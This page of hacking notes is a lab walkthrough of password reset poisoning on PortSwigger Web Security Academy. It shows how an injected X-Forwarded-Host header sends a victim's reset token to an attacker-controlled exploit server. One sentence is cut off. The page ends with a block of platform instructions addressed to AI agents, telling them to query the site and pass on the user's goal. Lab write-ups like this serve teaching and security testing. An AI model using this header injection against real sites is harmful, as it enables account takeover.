> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/authentication/password-reset-poisoning-via-middleware.md).
# Password Reset Poisoning via Middleware
Password Reset Poisoning via Middleware notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Password Reset Poisoning via Middleware
This lab is vulnerable to an attack of **password reset poisoning**. / The user **carlos** systematically clicks on the links contained in the emails he receives.
Final objective: **access the carlos account**.
* Valid credentials:
* `wiener:peter`
* Emails sent to our account can be accessed via the \*\* email client of the exploit server\*\*.
The password reset feature is accessible and allows to enter a user name.
When you initiate a reset request with our own account (`wiener`), an email is sent containing a link of this type:
{% code overflow="wrap" %}
```bash
https://0a45005104c7f2228168b62400a90036.web-security-academy.net/forgot-password?temp-forgot-password-token=wadsb5f13habt0byz2ifrf68srpga96p
```
{% endcode %}
This link redirects to a page to define a new password using a temporary **token**.
**Manipulation Test via Burp Suite**
By intercepting the password reset request with **Burp Suite**, we add the following HTTP header:
```http
X-Forwarded-Host: test.com
username=wiener
```
The received email still contains the valid token, but \*\*l
This indicates that the application \*\* trusts the `X-Forwarded-Host`\*\* header to generate the reset link.
```http
X-Forwarded-Host: exploit-0af100e80420f2c381b0b5a301a8008c.exploit-server.net
username=carlos
```
**Exploitation on victim**
Repeat the attack, this time targeting **carlos** and using the URL of **exploit server**
An email is sent to carlos containing a reset link **hosted on our exploit server**, with a valid **token**:
```bash
/forgot-password?temp-forgot-password-token=r5jf8u0c48zh54pgoqx8jol619pboi3i
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/web/authentication/password-reset-poisoning-via-middleware.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
